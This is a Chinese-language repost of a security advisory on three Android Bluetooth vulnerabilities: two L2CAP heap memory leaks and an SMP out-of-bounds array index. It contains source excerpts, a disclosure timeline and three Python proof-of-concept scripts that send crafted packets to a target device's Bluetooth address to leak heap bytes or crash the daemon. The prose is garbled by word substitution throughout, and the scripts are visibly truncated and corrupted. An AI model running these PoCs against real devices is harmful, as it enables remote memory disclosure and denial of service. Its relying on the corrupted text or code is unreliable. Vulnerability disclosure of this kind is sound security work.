三个Android蓝牙组件漏洞详情

写在前面的话

2018年3月,Quarkslab向Google申报了Android蓝牙协议栈中的一些破绽:[/b]

问题编号74882215:蓝牙L2CAP L2CAP_CMD_CONN_REQ远程内存泄露

问题编号74889513:蓝牙L2CAP L2CAP_CMD_DISC_REQ远程内存泄露

问题编号74917004:蓝牙SMP smp_sm_event()OOB阵列索引

破绽1:蓝牙L2CAP L2CAP_CMD_CONN_REQ远程内存泄露

简要

经由过程向目标设备发送特制的L2CAP数据包,蓝牙范围内的远程进击者可使用Android蓝牙协议栈中的破绽表露属于com.android.bluetooth守护法度榜样堆的2个字节。

破绽具体信息

L2CAP是蓝牙协议栈中的协议, L2CAP的功能包括为更高层协议传输数据,包括经由过程单个链路复用多个利用法度榜样。L2CAP是基于通道进行的,并且节制敕令在预定义的L2CAP_SIGNALLING_CID (0x01)通道上被发送。L2CAP传入数据由l2c_rcv_acl_data()函数[platform/system/bt/stack/ L2CAP /l2c_main.cc]处置惩罚。假如传入的L2CAP数据包指定L2CAP_SIGNALLING_CID作为其目标通道,则l2c_rcv_acl_data()调用process_l2cap_cmd()函数来处置惩罚L2CAP节制敕令。L2CAP_CMD_CONN_REQ节制敕令在process_l2cap_cmd()函数中以以下这种要领处置惩罚:

case L2CAP_CMD_CONN_REQ:

STREAM_TO_UINT16(con_info.psm, p);

STREAM_TO_UINT16(rcid, p);

p_rcb = l2cu_find_rcb_by_psm(con_info.psm);

if (p_rcb == NULL) {

L2CAP_TRACE_WARNING(“L2CAP – rcvd conn req for unknown PSM: %d”,

con_info.psm);

l2cu_reject_connection(p_lcb, rcid, id, L2CAP_CONN_NO_PSM);

break;

} else {

[…]

上面的代码应用STREAM_TO_UINT16宏[platform/system/bt/stack/include/bt_types.h]从L2CAP数据包中读取2个uint16_t值(con_info.psm 和rcid):

#define STREAM_TO_UINT16(u16, p)

{

(u16) = ((uint16_t)(*(p)) + (((uint16_t)(*((p) + 1)))

该破绽在于应用STREAM_TO_UINT16宏而不反省进击者节制的数据包中是否还有足够的数据;假如第二次应用STREAM_TO_UINT16时数据包中没有残剩字节,则从带外数据(out-of-bound)读取rcid,更正确的从堆上与包数据相邻的任何数据中读取rcid。之后,假如l2cu_find_rcb_by_psm()返回NULL并是以到达if分支,则对l2cu_reject_connection() [stack/l2cap/l2c_utils.cc]的调用会将rcid发送到远程对等体(the remote peer),这样堆中就会有2个字节泄露出来:

void l2cu_reject_connection(tL2C_LCB* p_lcb, uint16_t remote_cid,

uint8_t rem_id, uint16_t result) {

[…]

UINT16_TO_STREAM(p, 0); /* Local CID of 0*/

UINT16_TO_STREAM(p, remote_cid);

UINT16_TO_STREAM(p, result);

UINT16_TO_STREAM(p, 0); /* Status of 0*/

l2c_link_check_send_pkts(p_lcb, NULL, p_buf);

}

这里请留意,l2cu_find_rcb_by_psm()可以完全受到进击者的影响,经由过程精心设计的L2CAP数据包中供给未注册的协议或办事多路复用器(PSM)ID字段,会始终返回NULL(即始终返回到if分支)。别的,请留意,应用STREAM_TO_UINT16宏而不反省进击节制的包中是否还有足够的数据,这种不安然的模式在process_l2cap_cmd()函数中随处可见。

Poc

下面的Python代码触发了破绽并输出从目标蓝牙设备的com.android.bluetooth守护进程堆中透露的16位值。这个Python代码应用Blueborne框架中的l2cap_infra包。用法:$ sudo python l2cap01.py样本:$ sudo python l2cap01.py hci0 00:11:22:33:44:55

[1] [2] [3] [4] [5]下一页

import os

import sys

from l2cap_infra import *

L2CAP_SIGNALLING_CID = 0x01

L2CAP_CMD_CONN_REQ = 0x02

def main(src_hci, dst_bdaddr):

l2cap_loop, _ = create_l2cap_connection(src_hci, dst_bdaddr)

# This will leak 2 bytes from the heap

print “Sending L2CAP_CMD_CONN_REQ in L2CAP connection…”

cmd_code = L2CAP_CMD_CONN_REQ

cmd_id = 0x41# not important

cmd_len = 0x00# bypasses this check at lines 296/297 of l2c_main.cc:p_next_cmd = p + cmd_len; / if (p_next_cmd > p_pkt_end) {

non_existent_psm = 0x3333# Non-existent Protocol/Service Multiplexer id, so l2cu_find_rcb_by_psm() returns NULL and l2cu_reject_connection() is called

# here we use L2CAP_SIGNALLING_CID as cid, so l2c_rcv_acl_data() calls process_l2cap_cmd():

# 170/* Send the data through the channel state machine */

# 171if (rcv_cid == L2CAP_SIGNALLING_CID) {

# 172process_l2cap_cmd(p_lcb, p, l2cap_len);

l2cap_loop.send(L2CAP_Hdr(cid=L2CAP_SIGNALLING_CID) / Raw(struct.pack(‘lambda pkt: True,

lambda loop, pkt: pkt)

# And printing the returned data.

pkt = l2cap_loop.cont()[0]

print “Response: %sn” % repr(pkt)

# print “Packet layers: %s” % pkt.summary()

# The response packet contains 3 layers: L2CAP_Hdr / L2CAP_CmdHdr / L2CAP_ConnResp

# The response contains 1 leaked word in the ‘scid’ field of the L2CAP_ConnResp layer

print “Leaked word: 0x%04x” % pkt[2].scid

l2cap_loop.finish()

if __name__ == ‘__main__’:

if len(sys.argv)”)

else:

if os.getuid():

print “Error: This script must be run as root.”

else:

main(*sys.argv[1:])

破绽#2:蓝牙L2CAP L2CAP_CMD_DISC_REQ远程内存泄露

简要

蓝牙范围内的远程进击者可以应用Android蓝牙协议栈(Bluetooth stack)中的破绽经由过程向目标设备发送自定义的L2CAP数据包来自属于com.android.bluetooth守护进程堆的4个字节。

破绽具体信息

L2CAP_CMD_DISC_REQ节制敕令在process_l2cap_cmd()函数中以下要领处置惩罚:

case L2CAP_CMD_DISC_REQ:

STREAM_TO_UINT16(lcid, p);

STREAM_TO_UINT16(rcid, p);

p_ccb = l2cu_find_ccb_by_cid(p_lcb, lcid);

if (p_ccb != NULL) {

if (p_ccb->remote_cid == rcid) {

p_ccb->remote_id = id;

l2c_csm_execute(p_ccb, L2CEVT_L2CAP_DISCONNECT_REQ, &con_info);

}

} else

l2cu_send_peer_disc_rsp(p_lcb, id, lcid, rcid);

上面的代码应用STREAM_TO_UINT16 macro [platform/system/bt/stack/include/bt_types.h]从L2CAP数据包中读取2个uint16_t值(lcid和rcid):

#define STREAM_TO_UINT16(u16, p)

{

上一页[1] [2] [3] [4] [5]下一页

(u16) = ((uint16_t)(*(p)) + (((uint16_t)(*((p) + 1)))

该破绽存在于STREAM_TO_UINT16宏被应用两次后,而不反省进击者节制的数据包中是否还有至少4个字节;假如数据包中没有残剩字节,那么从将从带外数据读取lcid和rcid,更准确的说是从与堆上的数据包数据相邻的任何数据中读取。之后,假如l2cu_find_ccb_by_cid()返回NULL并是以到达else分支,则对l2cu_send_peer_disc_rsp()[platform / system / bt / stack / l2cap / l2c_utils.cc]调用会将lcid和rcid发送到远程对等体,这样堆中的4个字节就会被透露。

void l2cu_send_peer_disc_rsp(tL2C_LCB* p_lcb, uint8_t remote_id,

uint16_t local_cid, uint16_t remote_cid) {

[…]

UINT16_TO_STREAM(p, local_cid);

UINT16_TO_STREAM(p, remote_cid);

l2c_link_check_send_pkts(p_lcb, NULL, p_buf);

}

请留意,l2cu_find_ccb_by_cid()可以完全受到进击者的影响返回NULL(即始终返回到else分支),由于该函数将始终返回NULL,除非在目标设备和进击者的蓝牙设备之间设置一个活动通道节制块(CCB),并设置假的lcid。

Poc

以下Python代码会触发破绽并输出从目标蓝牙设备的com.android.bluetooth守护进程堆中透露的两个16位值。这个Python代码应用来自Blueborne框架中的l2cap_infra包。用法:sudo python l2cap02.py样本:$ sudo python l2cap02.py hci0 00:11:22:33:44:55

import os

import sys

from l2cap_infra import *

L2CAP_SIGNALLING_CID = 0x01

L2CAP_CMD_DISC_REQ = 0x06

def main(src_hci, dst_bdaddr):

l2cap_loop, _ = create_l2cap_connection(src_hci, dst_bdaddr)

# This will leak 4 bytes from the heap

print “Sending L2CAP_CMD_DISC_REQ command in L2CAP connection…”

cmd_code = L2CAP_CMD_DISC_REQ

cmd_id = 0x41# not important

cmd_len = 0x00# bypasses this check at lines 296/297 of l2c_main.cc:p_next_cmd = p + cmd_len; / if (p_next_cmd > p_pkt_end) {

# here we use L2CAP_SIGNALLING_CID as cid, so l2c_rcv_acl_data() calls process_l2cap_cmd():

# 170/* Send the data through the channel state machine */

# 171if (rcv_cid == L2CAP_SIGNALLING_CID) {

# 172process_l2cap_cmd(p_lcb, p, l2cap_len);

l2cap_loop.send(L2CAP_Hdr(cid=L2CAP_SIGNALLING_CID) / Raw(struct.pack(‘lambda pkt: True,

lambda loop, pkt: pkt)

# And printing the returned data.

pkt = l2cap_loop.cont()[0]

print “Response: %sn” % repr(pkt)

# print “Packet layers: %s” % pkt.summary()

# The response packet contains 3 layers: L2CAP_Hdr / L2CAP_CmdHdr / L2CAP_DisconnResp

# The response contains 2 leaked words in the ‘dcid’ and ‘scid’ fields of the L2CAP_DisconnResp layer

print “Leaked words: 0x%04x 0x%04x” % (pkt[2].dcid, pkt[2].scid)

l2cap_loop.finish()

if __name__ == ‘__main__’:

if len(sys.argv)”)

else:

if os.getuid():

print “Error: This script must be run as root.”

else:

main(*sys.argv[1:])

破绽#3:蓝牙SMP smp_sm_event() OOB数组索引

简要

蓝牙范围内的远程进击者可以应用Android蓝牙协议栈(Bluetooth stack)中的破绽,使com.android.bluetooth守护进程造访之外的数组,措施便是经由过程将意外传输发送包里所含的SMP_OPCODE_PAIRING_REQ敕令的SMP数据包发送到目标设备。

破绽具体信息

安然治理器协议(SMP)为运行在蓝牙低能耗客栈上的利用法度榜样供给办事造访,如设备身份验证、设备授权和数据隐私造访,以及对运行在蓝牙低能耗客栈上的利用法度榜样的造访。SMP协议位于L2CAP之上,位于预定义的L2CAP_SMP_CID (0x06)通道之上。传入的SMP数据包由smp_data_received()函数[platform/system/bt/stack/smp/smp_l2c.cc]处置惩罚。假如经由过程L2CAP_SMP_CID固定通道接管到一个SMP数据包,此中包孕SMP_OPCODE_PAIRING_REQ (0x01)敕令,则会呈现以下代码:

上一页[1] [2] [3] [4] [5]下一页

static void smp_data_received(uint16_t channel, const RawAddress& bd_addr,

BT_HDR* p_buf) {

[…]

/* reject the pairing request if there is an on-going SMP pairing */

if (SMP_OPCODE_PAIRING_REQ == cmd || SMP_OPCODE_SEC_REQ == cmd) {

if ((p_cb->state == SMP_STATE_IDLE) &&

(p_cb->br_state == SMP_BR_STATE_IDLE) &&

!(p_cb->flags & SMP_PAIR_FLAGS_WE_STARTED_DD)) {

p_cb->role = L2CA_GetBleConnRole(bd_addr);

[…]

如上面的代码所示,p_cb-> role设置为L2CA_GetBleConnRole(bd_addr)返回的值。 p_cb-> role应该包孕此中一个值[platform / system / bt / stack / include / hcidefs.h]:

/* HCI role defenitions */

#define HCI_ROLE_MASTER 0x00

#define HCI_ROLE_SLAVE 0x01

#define HCI_ROLE_UNKNOWN 0xff

假如阐发职员查看L2CA_GetBleConnRole()函数中[platform/system/bt/stack/l2cap/l2c_ble.cc]的代码,就可以发明它调用l2cu_find_lcb_by_bd_addr()来查找一个匹配远程BDADDR并应用低能耗传输(BT_TRANSPORT_LE)的活动链接节制块(LCB)布局;假如找不到它,则返回HCI_ROLE_UNKNOWN(0xff)。当阐发职员经由过程在BR/EDR(基础速度/增强数据速度,也称为“classic”蓝牙)传输上发送包孕SMP_OPCODE_PAIRING_REQ敕令的SMP数据包来敕令此代码时便是如下这种环境,它应该只用于低能耗(LE)传输:

uint8_t L2CA_GetBleConnRole(const RawAddress& bd_addr) {

uint8_t role = HCI_ROLE_UNKNOWN;

tL2C_LCB* p_lcb;

p_lcb = l2cu_find_lcb_by_bd_addr(bd_addr, BT_TRANSPORT_LE);

if (p_lcb != NULL) role = p_lcb->link_role;

return role;

}

以是,返回smp_data_received()函数,在将p_cb-> role设置为HCI_ROLE_UNKNOWN(0xff)之后,它调用smp_sm_event()[platform/system/bt/stack/smp/smp_main.cc],获得以下代码。

953void smp_sm_event(tSMP_CB* p_cb, tSMP_EVENT event, tSMP_INT_DATA* p_data) {

957tSMP_ENTRY_TBL entry_table = smp_entry_table[p_cb->role];

970/* look up the state table for the current state */

971/* lookup entry /w event & curr_state */

972/* If entry is ignore, return.

973* Otherwise, get state table (according to curr_state or all_state) */

974if ((event

在第957行,代码应用p_cb-> role作为索引从smp_entry_table静态数组中读取,而不反省p_cb-> role是否具有两个有效值中的一个,即HCI_ROLE_MASTER(0x00)或HCI_ROLE_SLAVE(0x01)。这便是破绽:smp_entry_table静态数组只包孕2个元素,而p_cb-> role的值为0xFF,在接管到包孕SMP_OPCODE_PAIRING_REQ敕令的SMP包后,在BR/EDR传输上,而不是在预期的低能耗传输之上。

static const tSMP_ENTRY_TBL smp_entry_table[] = {smp_master_entry_map,

smp_slave_entry_map};

是以,作为履行entry_table = smp_entry_table[0xff]时的OOB索引的结果,entry_table局部变量将包孕一些垃圾值(位于bluetooth.default.so二进制文件的数据部分中的smp_entry_table全局变量之后的任何值)。是以,稍后在第975行,当取消对entry_table [event – 1] [curr_state]的引用时,它很可能会导致分段差错(受bluetooth.default.so二进制文件的特定版本的影响,此中包孕smp_entry_table全局变量),这将使com.android.bluetooth守护进程竣事事情。

Poc

用法:$ sudo python smp01.py样本:$ sudo python smp01.py hci0 00:11:22:33:44:55

import os

import sys

from l2cap_infra import *

L2CAP_SMP_CID = 0x06

# This matches the CID used in l2cap_infra to establish a successful connection.

OUR_LOCAL_SCID = 0x40

SMP_OPCODE_PAIRING_REQ = 0x01

def main(src_hci, dst_bdaddr):

l2cap_loop, _ = create_l2cap_connection(src_hci, dst_bdaddr)

print “Sending SMP_OPCODE_PAIRING_REQ in L2CAP connection…”

上一页[1] [2] [3] [4] [5]下一页

cmd_code = SMP_OPCODE_PAIRING_REQ

the_id = 0x41# not important

cmd_len = 0x08

flags = 0x4142# not important

# here we use L2CAP_SMP_CID as cid

l2cap_loop.send(L2CAP_Hdr(cid=L2CAP_SMP_CID) / Raw(struct.pack(‘print “The com.android.bluetooth daemon should have crashed.”

if __name__ == ‘__main__’:

if len(sys.argv)”)

else:

if os.getuid():

print “Error: This script must be run as root.”

else:

main(*sys.argv[1:])

光阴线

2018年3月15日:Quarkslab向Google申报了影响Android蓝牙客栈的三个破绽。差错被添加到ID“74882215,74889513和74917004”下的“Android外部安然申报”问题跟踪器中。

2018年3月16日:一个温和的机械人承认所有三个安然申报。

2018年3月26日:Android安然团队关闭问题74882215作为问题74135099的副本,声明该差错已在2018年3月4日由另一位外部钻研职员申报过。

2018年5月10日:Quarkslab回到剩下的问题74889513和74917004,提醒谷歌自初始申报以来差不多两个月没有获得Android团队的任何回应,并扣问是否有人能够评估差错。

2018年6月4日:2018年6月Android安然看护布告宣布,修复了问题74882215和74889513。

2018年7月2日:2018年7月Android安然看护布告宣布,修复问题74917004。

2018年7月25日:此博客文章宣布。

写在着末的话

Quarkslab的阐发职员已经向Google申报了三个影响Android蓝牙协议栈(Bluetooth stack)的破绽。此中两个影响到了处置惩罚L2CAP协议的代码,它们容许远程进击者(在蓝牙范围内)公开属于com.android.bluetooth进程的内存内容。这些内存泄露破绽可能对进击者在进击历程的早期阶段有所赞助,以致可能用于检索敏感数据。第三个破绽是SMP协议实现中的带外数组索引差错,虽然很可能会导致com.android.bluetooth进程崩溃,但进击者可能使用它来远程履行Android设备上的远程代码。有趣的是,与前两个L2CAP问题不合,此SMP差错不是解析款式差错的数据包的结果;实际上,它可以经由过程发送包孕SMP_OPCODE_PAIRING_REQ的优越款式的SMP数据包来触发,然则是经由过程BR/EDR传输而不是预期的BLE传输。

上一页[1] [2] [3] [4] [5]

赞(0) 打赏
分享到: 更多 (0)
免责申明:本站所有资料均来自于网络,版权归原创者所有!本站不提供任何保证,不保证真实性,并不承担任何法律责任

评论 抢沙发

  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址

阿里云优惠网 更专业 更优惠

阿里云优惠券阿里云大礼包